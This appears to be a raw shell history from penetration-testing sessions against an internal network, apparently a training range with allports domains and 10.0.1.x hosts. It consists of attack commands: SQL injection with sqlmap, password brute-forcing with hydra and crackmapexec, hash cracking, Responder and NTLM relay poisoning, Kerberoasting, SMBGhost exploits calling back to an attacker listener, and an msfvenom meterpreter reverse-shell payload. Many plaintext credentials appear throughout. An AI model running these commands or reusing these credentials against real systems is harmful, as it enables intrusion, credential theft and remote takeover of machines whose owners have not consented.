_raw: : 1762653029:0;sqlmap -u "https://chat.allports.tours" --data="email=REDACTED_EMAIL, password=123456"


_raw: : 1762652992:0;sqlmap chat.allports.tours --data="email=REDACTED_EMAIL, password=123456"


_raw: : 1762652718:0;cat DCRPCEndpoints | grep "efslsaext"


_raw: : 1762652708:0;hashcat -m 0 -a 0 32c097215fc401f16f2eb9ee9e7e38f5 /usr/share/wordlists/custom1.txt


_raw: : 1762652700:0;cat Workstation2RPCEndpoints | grep "efslsaext"


_raw: : 1762652693:0;cat Workstation1RPCEndpoints | grep "efslsaext"


_raw: : 1762652634:0;dirb https://chat.allports.tours/ /usr/share/wordlists/dirb/big.txt


_raw: : 1762652524:0;cat Workstation1RPCEndpoints | grep "lsass"


_raw: : 1762652516:0;cat Workstation2RPCEndpoints | grep "lsass"


_raw: : 1762652508:0;cat Workstation2RPCEndpoints | grep "lssas"


_raw: : 1762652473:0;cat Workstation1RPCEndpoints | grep "lssas"


_raw:
vim ports-scan.txt
sudo nmap -sn -PE 22,80,445 10.0.1.0/24
nmap -p 10.0.1.254
nmap 10.0.1.254
nmap -p- 10.0.1.254
ls
vim ping-sweep.txt
vim ports-scan.txt
wget https://github.com/peass-ng/PEASS-ng/releases/download/20251101-a416400b/winPEASx86.exe
python3 -m http.server 80


_raw: : 1762652428:0;impacket-rpcdump -p 135 10.0.1.21 > Workstation2RPCEndpoints


_raw: : 1762652399:0;impacket-rpcdump -p 135 10.0.1.20 > Workstation1RPCEndpoints


_raw: : 1762652337:0;cat DCRPCEndpoints | grep "efslsaext.dll"


_raw: : 1762652319:0;impacket-rpcdump -p 135 10.0.1.6 > DCRPCEndpoints


_raw: : 1762652180:0;gobuster dir -u https://chat.allports.tours/ -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762652175:0;gobuster dir -u https://chat.allports.tours/


_raw: : 1762652108:0;smbclient //10.0.1.6/NETLOGON -U rdavis%rosdav50


_raw: : 1762652031:0;python3 -m pip install -r requirements.txt


_raw: : 1762652013:0;python3 -m pip install -r requirements.txt


_raw: : 1762652006:0;python3 -m pip install -r requirements.txt


_raw: : 1762651996:0;git clone https://github.com/ticarpi/jwt_tool


_raw: : 1762651783:0;hashcat -a 0 -m 0 tmp /usr/share/wordlists/rockyou.txt


_raw: : 1762651406:0;dirb http://penny.allports.local/ /usr/share/wordlists/dirb/big.txt


_raw: : 1762651399:0;gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762651391:0;gobuster dir -u https://chat.allports.tours/ -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762651383:0;hashcat -a 0 -m 0 tmp /usr/share/wordlists/rockyou.txt --show


_raw: : 1762651308:0;gobuster dir -u https://chat.allports.tours/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762651277:0;gobuster dir -u http://bb-b143.rooms.allports.tours/api/admin -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762651256:0;hashcat -a 0 -m 0 tmp /usr/share/wordlists/rockyou.txt


_raw: : 1762651240:0;hashcat -A 0 -M 0 tmp /usr/share/wordlists/rockyou.txt


_raw: : 1762651204:0;ls -lh /usr/share/wordlists/\


_raw: : 1762651186:0;sudo gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762651180:0;gzip -d /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762651118:0;tar xzf /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762651094:0;rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20


_raw: : 1762651079:0;hydra -L /usr/share/metasploit-framework/data/worklists/common_users.txt -P /usr/share/metasploit-framework/data/unix_passwords.txt rdp://10.0.1.6 -s 3389


_raw: : 1762651043:0;ls -lh /usr/share/wordlists/\


_raw:
sudo nmap -sU --top-ports 200 10.0.1.10 -oN nmap_top_udp.txt
nmap -sV -p 135,139,445,3389,47001,5985,5986,49664-49720 \\
  --script "default,safe,nse-auth,smb2-security-mode,rdp-ntlm-info,rdp-enum-encryption,ssl-cert,vuln" \\
  -oA deckhand_scan 10.0.1.20\
openssl s_client -connect 10.0.1.20:5986 -showcerts </dev/null 2>/dev/null | openssl x509 -noout -text\
nmap -p 3389 --script rdp-enum-encryption,rdp-ntlm-info 10.0.1.20 -oN rdp_checks.txt\
nmap -p 445 --script smb2-security-mode,smb2-time,smb-enum-shares,smb-os-discovery 10.0.1.20 -oN smb_checks.txt\
smbclient -L //10.0.1.20 -N\
# Linux: list shares\
smbclient -L //10.0.1.20 -U 'CORP\svc-account'\
# Example: mount share read-only to inspect\
smbclient //10.0.1.20/share -U 'CORP\svc-account'\
# Or use smbmap to enumerate permissions\
smbmap -H 10.0.1.20 -u 'svc-account' -p 'P@ssw0rd'
smbclient -L //10.0.1.20 -U 'CORP\\svc-account%P@ssw0rd'
ping 10.0.254.208
nmap -A -p- 10.0.254.208
nmap -A -p- 10.0.1.20
smbclient -L //10.0.1.20
crackmapexec smb 10.0.1.20
crackmapexec smb 10.0.1.20 --shares
enum4linux-ng 10.0.1.20
rpcclient -U "" -N 10.0.1.20
xfreerdp /v:10.0.1.20 /u:administrator /p:IamTheCaptain\
xfreerdp /v:10.0.1.20 /u:captain /p:IamTheCaptain\
xfreerdp /v:10.0.1.20 /u:deckhand /p:IamTheCaptain
evil-winrm
evil-winrm -i 10.0.1.20 -u administrator -p 'IamTheCaptain'
kerbrute userenum -d allports.local --dc 10.0.1.20 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt\
kerbrute
cat > /tmp/users.txt << EOF\
administrator\
admin\
captain\
deckhand\
guest\
krbtgt\
apt$\
deckhand-01$\
allports\
shipmaster\
crewmember\
EOF
cat > /tmp/passwords.txt << EOF\
IamTheCaptain\
password\
Password123\
allports\
Allports123\
Welcome1\
Summer2024\
EOF
crackmapexec smb 10.0.1.20 -u /tmp/users.txt -p /tmp/passwords.txt --continue-on-success
responder
sudo responder
sudo responder -I eth0 -wv
cat /usr/share/responder/logs/*.txt
crackmapexec smb 10.0.1.20 -u /tmp/users.txt -p 'Password123' --continue-on-success
nmap -A -p- 10.0.1.20:88
nmap -p 88 10.0.1.20 -Pn
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile users.txt -dc-host dc.domain.local domain.local/\
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
cd ~/impacket
sudo pip3 uninstall impacket -y
sudo apt remove python3-impacket -y
sudo pip3 install .
GetNPUsers.py -h
cd ..
sudo pip3 uninstall impacket -y
sudo apt update
sudo apt install pipx -y
pipx ensurepath
sudo apt remove python3-impacket -y
cd ~/impacket
pipx install .
GetNPUsers.py -h
GetUserSPNs.py allports.local/username:password -dc-ip 10.0.1.20 -request -outputfile kerberoast.txt\


_raw: : 1762650903:0;supersede domain-name-servers 10.0.1.6


_raw: : 1762650529:0;sudo nano /etc/resolv.conf


_raw: : 1762650489:0;mysql -h 10.0.1.11 -P 3306 -u youruser -p --protocol=TCP --ssl-mode=DISABLED


_raw: : 1762650471:0;rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20


_raw: : 1762650468:0;sudo nano /etc/resolv.conf


_raw: : 1762650363:0;impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.tours/rdavis -request


_raw: : 1762650347:0;impacket-GetUserSPNs -dc-ip 10.0.1.6 allports.tours/bfinn -request


_raw: : 1762650332:0;sudo systemctl status mysql


_raw: : 1762650331:0;nslookup chat.allports.tours 10.0.1.6


_raw: : 1762650318:0;sudo apt install libreoffice-common


_raw: : 1762650282:0;sudo apt search libreoffice-common


_raw: : 1762650238:0;sudo apt search libre-office


_raw: : 1762650214:0;sudo apt install libre-office


_raw: : 1762650164:0;evil-winrm -i 10.0.1.21 -u username.txt -p rockyou.txt


_raw: : 1762650048:0;rpcclient -U Svc-stabilize


_raw: : 1762649908:0;gobuster dir -u http://bb-b143.rooms.allports.tours/api/services -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762649846:0;gobuster dir -u http://bb-b143.rooms.allports.tours/api/announcements -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762649826:0;gobuster dir -u http://bb-b143.rooms.allports.tours/api/id -w /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt


_raw: : 1762649768:0;nmap -p 135 --script=msrpc-dcom-interface-activation 10.0.1.6


_raw: : 1762649750:0;sudo systemctl status mysql


_raw: : 1762649739:0;mysql -u root -ppassword users


_raw: : 1762649724:0;enum4linux 10.0.1.6 | egrep "Account|Domain|Lockout|group"


_raw:
mysql -h 10.0.1.99 -p 3306 -u root -p
dig @10.0.1.99 AXFR
dig @10.0.1.99
dig @10.0.1.1
dirsearch --v
dirsearch -u chat.allports.tours
ls
cat password.txt
clear


_raw: : 1762649687:0;gobuster dir -u http://bb-b143.rooms.allports.tours/api/id -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762649602:0;nxc ldap 10.0.1.6 -u '' -p '' --query "(sAMAccountName=Administrator)" ""


_raw: : 1762649600:0;gobuster dir -u http://bb-b143.rooms.allports.tours/api -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762649599:0;sudo apt install impacket-scripts


_raw: : 1762649579:0;sudo apt install python3-impacket


_raw:
: 1762649575:0;curl \\
  -X POST 'http://10.0.1.11:7700/keys' \\
  -H 'Authorization: Bearer MASTER_KEY' \\
  -H 'Content-Type: application/json' \\
  --data-binary '{\
    "description": "Add documents: Products API key",\
    "actions": ["documents.add"],\
    "indexes": ["products"],\
    "expiresAt": "2042-04-02T00:42:42Z"\
  }'


_raw:
: 1762649556:0;curl \\
  -X POST 'MEILISEARCH_URL/keys' \\
  -H 'Authorization: Bearer MASTER_KEY' \\
  -H 'Content-Type: application/json' \\
  --data-binary '{\
    "description": "Add documents: Products API key",\
    "actions": ["documents.add"],\
    "indexes": ["products"],\
    "expiresAt": "2042-04-02T00:42:42Z"\
  }' http://10.0.1.11:7700/post


_raw: : 1762649547:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -w 4


_raw: : 1762649490:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -W


_raw: : 1762649488:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -w


_raw: : 1762649486:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -w -s


_raw: : 1762649478:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule -W -S


_raw: : 1762649472:0;nmap -p 389 --script ldap-search --script-args 'ldap.username="cn=ldaptest,cn=users,dc=cqure,dc=net",ldap.password=ldaptest,ldap.qfilter=users,ldap.attrib=sAMAccountName' 10.0.1.6


_raw: : 1762649462:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule


_raw:
: 1762649457:0;curl -X 'GET' \\
  'http://10.0.1.11:8000/ids' \\
  -H 'accept: application/json' \\
-H 'Authentication: omit'


_raw: : 1762649455:0;hashcat hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule


_raw: : 1762649436:0;hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule


_raw: : 1762649428:0;hashcat hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/dive.rule


_raw:
pip install ldap3 dnspython
pip install ldapdomaindump
git clone https://github.com/CoreSecurity/impacket.git
python setup.py install
ls
cd impacket
python setup.py install
sudo ntlmrelayx.py -tf targets.txt -smb2support
python3 ntlmrelayx.py -h
ls
cd impacket
ls
python3 ntlmrelayx.py -h
cd ../..
ls
cd ~
python3 ntlmrelayx.py -h
cd impacket/examples
ls
python3 ntlmrelayx.py -h
GetNPUsers.py allports.local/ -dc-ip 10.0.1.20 -request -format hashcat -outputfile asrep.txt\
ls
grep
grep --help
GetNPUsers.py -h
cd ..
cd -
GetNPUsers.py -h
cd ..
GetNPUsers.py -h
cd ..
GetNPUsers.py -h
cd ~
impacket-GetNPUsers
GetNPUsers.py allports.local/ -dc-ip 10.0.1.20 -request -format hashcat -outputfile asrep.txt\
which impacket-GetNPUsers
which GetNPUsers\
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.20 -usersfile /tmp/users.txt -no-pass\
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py allports.local/ -dc-ip 10.0.1.20 -usersfile /tmp/users.txt -no-pass\
locate GetNPUsers.py
cd /usr/share/doc/python3-impacket/examples
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.20 -usersfile /tmp/users.txt -no-pass -format hashcat -outputfile asrep.txt
\
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.20 -usersfile /tmp/users.txt -no-pass -format hashcat


_raw: : 1762649395:0;hashcat hashes.txt --rule /usr/share/hashcat/rules/dive.rule /usr/share/wordlists/rockyou.txt


_raw: : 1762649391:0;hashcat hashes.txt --rules /usr/share/hashcat/rules/dive.rule /usr/share/wordlists/rockyou.txt


_raw: : 1762649388:0;hydra -l Administrator -P /usr/share/wordlists/rockyou.txt.gz -vV 10.0.1.6 smb


_raw: : 1762649384:0;hashcat hashes.txt -R /usr/share/hashcat/rules/dive.rule /usr/share/wordlists/rockyou.txt


_raw: : 1762649374:0;hashcat hashes.txt -r /usr/share/hashcat/rules/dive.rule /usr/share/wordlists/rockyou.txt


_raw: : 1762649365:0;hydra -l Administrator -P /usr/share/wordlists/rockyou.txt.gz -t 1 -W 1 -vV 10.0.1.6 smb


_raw: : 1762649354:0;sudo systemctl start mysql


_raw: : 1762649290:0;gobuster dir -u http://bb-b143.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt


_raw: : 1762649289:0;sudo systemctl status mariadb


_raw: : 1762649270:0;sudo systemctl status mysql


_raw: : 1762649211:0;hydra -l admin -P /usr/share/wordlists/fasttrack.txt http-get://10.0.1.11/login


_raw: : 1762649128:0;hashcat hashes.txt passwords.txt


_raw: : 1762649061:0;sudo apt install kerbrute


_raw: : 1762649034:0;nxc smb DECKHAND-02 -u guest -p '' --rid-brute


_raw: : 1762648992:0;hashcat hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762648792:0;smbclient -L 10.0.1.6 -U Administrator


_raw: : 1762648773:0;impacket-lookupsid anonymous@10.0.1.21 -no-pass


_raw: : 1762648768:0;hydra -l Administrator -P /usr/share/wordlists/rockyou.txt.gz -t 1 -W 1 -vV 10.0.1.6 smb


_raw: : 1762648763:0;evil-winrm -i 10.0.1.6 -u Administrator -p 'Cyb3rrange!'


_raw: : 1762648716:0;nxc rdp 10.0.1.21 -u Administrator -p 'Cyb3rrange!' -d deckhand-02


_raw: : 1762648630:0;hydra -L usernames.txt -P rockyou.txt 10.0.1.21 smb -t 4 -V


_raw: : 1762648625:0;/usr/bin/xfreerdp3 /v:$TARGET6 /u:rdavis /p:rosdav50


_raw: : 1762648587:0;nmap -sV -p 135,139,445 --script=smb-os-discovery,smb-enum-shares,smb-enum-users 10.0.1.21


_raw: : 1762648569:0;/usr/bin/xfreerdp /v:$TARGET6 /u:rdavis /p:rosdav50


_raw: : 1762648536:0;nxc rdp 10.0.1.21 -u Administrator -p 'Cyb3rrange!'


_raw: : 1762648517:0;xfreerdp /v:$TARGET6 /u:rdavis /p:rosdav50


_raw:
git clone https://github.com/SpiderLabs/Responder
ls
cd Responder
ls
sudo ./Responder.py
vim /etc/resolv.conf
vim /etc/hosts
exit


_raw:
sqlmap --wizrd
sqlmap --wizard
[200~# target a GET parameter on localhost (lab)
python3 sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1" --batch --dbs
python3 sqlmap.py -u "http://chat.allports.tours/login/" --batch --dbs
sudo sqlmap -u "http://chat.allports.tours/login/" --batch --dbs


_raw:
gobuster http://bb-b143.rooms.allports.tours/api
gobuster dir -u bb-b143.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,js,bak,old -s 200,204,301,302,307,401,403 -o gobuster-bb-b142.rooms.allports.tours/api -dir.txt\
gobuster dir -u bb-b143.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt,js,bak,old -s 200,204,301,302,307,401,403 -o gobuster-bb-b142.rooms.allports.tours/api\


_raw: : 1762648288:0;sudo ./Responder.py -I eth0


_raw: : 1762648218:0;hydra -l Administrator -P /usr/share/wordlists/rockyou.txt.gz -t 1 -W 1 10.0.1.6 smb


_raw: : 1762648164:0;sudo ./Responder.py -I eth0


_raw: : 1762648148:0;sudo ./Responder.py -I eth0 -wrf


_raw: : 1762648135:0;sudo ./Responder.py -i eth0 -wrf


_raw:
dirsearch --help
dirsearch -u http://chat.allports.tours
clear


_raw: : 1762648112:0;hydra -l Administrator -P /usr/share/wordlists/rockyou.txt.gz -t 10 -W 1 10.0.1.6 smb


_raw: : 1762648100:0;git clone https://github.com/SpiderLabs/Responder


_raw: : 1762648097:0;git clone git clone https://github.com/SpiderLabs/Responder


_raw: : 1762648041:0;curl -b "s%3A21MgMBkKCAF9RQ553r8kI1NA2UY5GF_x.L4J5BWUFexbvCllvSqZh6jAvKOVb48gLFlKWfBO85FA" -U 'admin' -P 'password'


_raw:
.\poc.ps1 -path "C:\users\user\desktop" -ip "10.0.1.20" -share "\\Deckhand-02" -file "<payload.exe>"
cd Desktop
ls
cd ..
cd Downloads
ls
.\poc.ps1 -path "C:\users\user\desktop" -ip "10.0.1.20" -share "\\Deckhand-02" -file "<payload.exe>"
ls
./poc.ps1 -path "C:\users\user\desktop" -ip "10.0.1.20" -share "\\Deckhand-02" -file "<payload.exe>"


_raw: : 1762647919:0;netexec smb 10.0.1.6 -u ggonzalez1 -p '5freunde' --shares


_raw: : 1762647806:0;rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.6


_raw: : 1762647784:0;rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.21


_raw: : 1762647755:0;for n in $(cat a); do bash x.sh $n; done


_raw: : 1762647735:0;for n in $(cat a); do bash x.sh $n; done


_raw: : 1762647636:0;bash x.sh full_voyage_schedule


_raw: : 1762647630:0;bash x.sh full_voyage_schedule


_raw: : 1762647610:0;bash x.sh full_voyage_schedule


_raw: : 1762647572:0;netexec smb 10.0.1.6 -u lpeterson -p 'Sails@way!' --shares


_raw: : 1762647562:0;netexec smb 10.0.1.6 -u lpeterson -p 'Sails@way!'


_raw: : 1762647368:0;sudo apt install metasploit


_raw: : 1762647329:0;rpcclient -U rdavis $TARGET6


_raw:
sudo apt install enum4linux-ng
sudo enum4linux-ng 10.0.1.6
cd Documents
sudo enum4linux-ng 10.0.1.6 -oY enum
mv enum.yaml enum_1.6.yaml
sudo enum4linux-ng 10.0.1.20 -oY enum_1.20
vi users.txt
sudo apt install seclists
cat ~/password.txt
ls
cat users.txt
nmap -p 88 --script="krb5-enum-users" --script-args="krb5-enum-users.realm='allports.local',userdb=users.txt" 10.0.1.6
nmap -p 88 --script="krb5-enum-users" --script-args="krb5-enum-users.realm='allports.local',userdb='~/Documents/users.txt'" 10.0.1.6
nmap -p 88 --script="krb5-enum-users" 10.0.1.6
nmap -p 88 --script="krb5-enum-users" --script-args krb5-enum-users.realm='allports.local',userdb='~/Documents/users.txt' 10.0.1.6
nmap -p 88 --script="krb5-enum-users" --script-args krb5-enum-users.realm='allports.local' 10.0.1.6
vi users.txt
nxc ldap -u 'Guest' -p '' 10.0.1.6
nxc ldap 10.0.1.6 -u 'guest' -p ''
nxc ldap 10.0.1.6 -u 'Guest' -p ''
nxc ldap 10.0.1.20 -u 'Guest' -p ''
nxc smb 10.0.1.20 -u 'Guest' -p ''
nxc smb 10.0.1.21 -u 'Guest' -p ''
impacket-GetNPUsers -usersfile users.txt -request -format hashcat -outputfile test.txt -dc-ip 10.0.1.6 'APT/'
ifconfig
responder --interface "eth0" --analyze
sudo responder --interface "eth0" --analyze
ifconfig
git clone https://github.com/Barriuso/SMBGhost_AutomateExploitation.git
cd SMBGhost_AutomateExploitation
ls
python Smb_Ghost.py -i 10.0.1.6 --check
pip install requirements
python -m vemv ./
python -m venv ./
ls
./bin/activate
ls bin
chmod +x ./bin/activate
./bin/activate
pip install -r
pip install -r requirements.txt
ls
source ./bin/activate
pip install -r requirements.txt
python Smb_Ghost.py -i 10.0.1.6 --check
python Smb_Ghost.py -i 10.0.1.6 -e --lhost 10.0.254.202 --lport 4444
python3 -v
python -V
sudo apt install python3.10
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install software-properties-common -y
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt install python3.10
responder --interface "eth0" --analyze
deactivate
responder --interface "eth0" --analyze
sudo responder --interface "eth0" --analyze
ls
source ./bin/activate
python Smb_Ghost.py -i 10.0.1.20 -e --lhost 10.0.254.202 --lport 4444
cd ..
mkdir POC
cd POC
git clone https://github.com/jamf/CVE-2020-0796-RCE-POC.git
mv CVE-2020-0796-RCE-POC ../
cd ..
ls
rm -r POC
ls
cd CVE-2020-0796-RCE-POC
ls
python SMBleedingGhost.py 10.0.1.20 10.0.254.202 4444
python SMBleedingGhost.py 10.0.1.21 10.0.254.202 4444
python SMBleedingGhost.py 10.0.1.6 10.0.254.202 4444
cat users.txt
cd ..
cat users.txt
clearclear
cat enum_1.6.yaml
ls
exit


_raw: : 1762647197:0;evil-winrm -i $TARGET6 -u rdavis -p rosdav50


_raw: : 1762647148:0;evil-winrm -i $TARGET6 -u rdavis -p 'rosdav50'


_raw: : 1762647129:0;mysql --protocol=tcp -u root -h 10.0.1.15 -P 3306 --ssl-verify-server-cert


_raw: : 1762647129:0;evil-winrm -i $TARGET6 -u rdavis:rosdav50


_raw: : 1762647022:0;netexec smb 10.0.1.21 --gen-relay-list relay_list.txt


_raw: : 1762647011:0;netexec smb 10.0.1.6 --gen-relay-list relay_list.txt


_raw: : 1762646972:0;gobuster dir -u http://10.0.1.15:8081/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762646954:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt\


_raw: : 1762646911:0;nmap -p 445 --script smb-brute $TARGET6


_raw: : 1762646901:0;nmap -p --script smb-brute $TARGET6


_raw: : 1762646875:0;hydra -l bfinn -p /usr/share/wordlists/rockyou.txt smb://$TARGET6


_raw: : 1762646783:0;smbclient -L //$TARGET6 -U rdavis%rosdav50


_raw:
: 1762646497:0;curl -X POST http://10.0.1.11:8045/query \\
  -H "Content-Type: application/json" \\
  -d '{\
    "table": "string",\
    "select": [\
      "string"\
    ],\
    "where": {},\
    "like": {\
      "additionalProp1": "string",\
      "additionalProp2": "string",\
      "additionalProp3": "string"\
    },\
    "limit": 20,\
    "offset": 0,\
    "order_by": [\
      {\
        "col": "string",\
        "desc": false\
      }\
    ],\
    "summarize": true\
  }'\


_raw:
: 1762646480:0;curl -X POST https://example.com/query \\
  -H "Content-Type: application/json" \\
  -d '{\
    "table": "string",\
    "select": [\
      "string"\
    ],\
    "where": {},\
    "like": {\
      "additionalProp1": "string",\
      "additionalProp2": "string",\
      "additionalProp3": "string"\
    },\
    "limit": 20,\
    "offset": 0,\
    "order_by": [\
      {\
        "col": "string",\
        "desc": false\
      }\
    ],\
    "summarize": true\
  }'\


_raw: : 1762646407:0;gobuster dir -u http://10.0.1.11:8081 -w /usr/share/wordlists/dirb/common.txt -U admin -P password


_raw:
: 1762646372:0;[200~curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "full_voyage_schedule",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "like": {\
  },\
  "limit": 613,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "date",\
      "desc": false\
    }\
  ],\
  "summarize": true


_raw: : 1762646332:0;msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.254.205 LPORT=4444 -f raw > shellcode.bin


_raw: : 1762646192:0;feroxbuster -u http://chat.allports.tours -t 3


_raw: : 1762646168:0;feroxbuster -u https://chat.allports.tours -t 3


_raw: : 1762646089:0;netexec smb 10.0.1.20 -u lpeterson -p 'Sails@way!'


_raw: : 1762646023:0;netexec smb 10.0.1.21 -u lpeterson -p 'Sails@way!'


_raw:
: 1762645844:0;ping msf auxiliary(scanner/smb/smb_version) > run\
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression\
[*] 10.0.1.6:445          - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1, Pattern_V1) (encryption capabilities:AES-256-GCM) (signatures:required) (guid:{22c34e5e-d622-49d9-8a48-3948193bf5cb}) (authentication domain:APT)\
[+] 10.0.1.6:445          -   Host is running Version 10.0.20348 (likely Windows Server 2022)\
[*] 10.0.1.6              - Scanned 1 of 1 hosts (100% complete)\
[*] Auxiliary module execution completed\
msf auxiliary(scanner/smb/smb_version) > \
\
ping BB-B143.rooms.allports.tours\


_raw: : 1762645385:0;netexec rdp 10.0.1.6 -u lpeterson -p 'Sails@way!'


_raw: : 1762645328:0;netexec rdp 10.0.1.6 -u lpeterson -p 'Sails@way!'


_raw: : 1762645322:0;netexec smb 10.0.1.6 -u lpeterson -p 'Sails@way!' --shares


_raw: : 1762645308:0;netexec winrm 10.0.1.6 -u lpeterson -p 'Sails@way!' --shares


_raw: : 1762645302:0;netexec rdp 10.0.1.6 -u lpeterson -p 'Sails@way!' --shares


_raw: : 1762645289:0;netexec smb 10.0.1.6 -u lpeterson -p 'Sails@way!' --shares


_raw: : 1762645282:0;netexec smb 10.0.1.6 -u bfinn -p 'Sails@way!' --shares


_raw: : 1762645216:0;dig A chat.allports.tours


_raw:
ls
whois
clear
nmap -sn 10.0.1.0/24 -oA scans/10.0.1.0_ping_sweep.out
sudo nmap -sn 10.0.1.0/24 -oA scans/10.0.1.0_ping_sweep.out
mkdir -p scans
sudo nmap -sn 10.0.1.0/24 -oA scans/10.0.1.0_ping_sweep.out
nmap -sn 10.0.1.0/24 -oA scans/10.0.1.0_ping_sweep.out
ls
cd scans
ls
cat 10.0.1.0_ping_sweep.out.nmap
cat valid_ips
nano valid_isp
ls
nano valid_ips
ls
cat valid_ips.txt
sudo nmap -sS -p -t4 -A -Pn -oA 10.0.1.0_host_scans -iL valid_ips.txt
nmap -sS -p -t4 -A -Pn -oA 10.0.1.0_host_scans -iL valid_ips.txt
nmap -sS -p- -t4 -A -Pn -oA 10.0.1.0_host_scans -iL valid_ips.txt
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans -iL valid_ips.txt
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans -iL valid_ips.txt -V
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans -iL valid_ips.txt
cat valid_ips.txt
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans 10.0.1.1
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans 10.0.1.1 10.0.1.11
ls
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans 10.0.1.1
ls
nano test_ip.txt
ls
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans -test_ip.txt
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans -tL test_ip.txt
nmap -sS -p- -T4 -A -Pn -oA 10.0.1.0_host_scans -iL test_ip.txt
sudo nmap -sS --top-ports 1000 -T4 -Pn -n --stats-every 10s -oA scans/quick_top1000 -iL test_ip.txt
nmap -sS --top-ports 1000 -T4 -Pn -n --stats-every 10s -oA scans/quick_top1000 -iL test_ip.txt
nmap -sS --top-ports 1000 -T4 -Pn -n --stats-every 10s -oA quick_top1000 -iL test_ip.txt
ls
rm quick_top1000.gnmap
ls
rm quick_top1000*
ls
rm valid_ips.txt
ls
nano test_ip.txt
ls
cat test_ip.txt
clear
ls
nmap -sS --top-ports 1000 -T4 -Pn -n --stats-every 10s -oA quick_top1000 -iL test_ip.txt
ls
cat quick_top1000.xml
ls
cd ../
ls
cd scans
nmap -sS -T4 -Pn -n --stats-every 10s -oA full_scan -iL test_ip.txt
ls
nmap -sn 10.0.1.0/24
nmap 10.0.1.99
enum4linux 10.0.1.20
ping 10.0.1.20
nmap 10.0.1.20
enum4linux 10.0.1.20
enum4linux 10.0.1.6
clear
enum4linux 10.0.1.1
enum4linux 10.0.1.15
enum4linux 10.0.1.99
clear
ls
ping 10.0.254.207
exit


_raw: : 1762645203:0;netexec smb 10.0.1.6 -u /usr/share/wordlists/john.lst/usernames.txt -p 'Sails@way!' --users


_raw: : 1762645200:0;dig TXT chat.allports.tours


_raw: : 1762645185:0;ls /usr/share/wordlists/john.lst usernames.txt


_raw:
: 1762645181:0;msf auxiliary(scanner/smb/smb_version) > run\
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression\
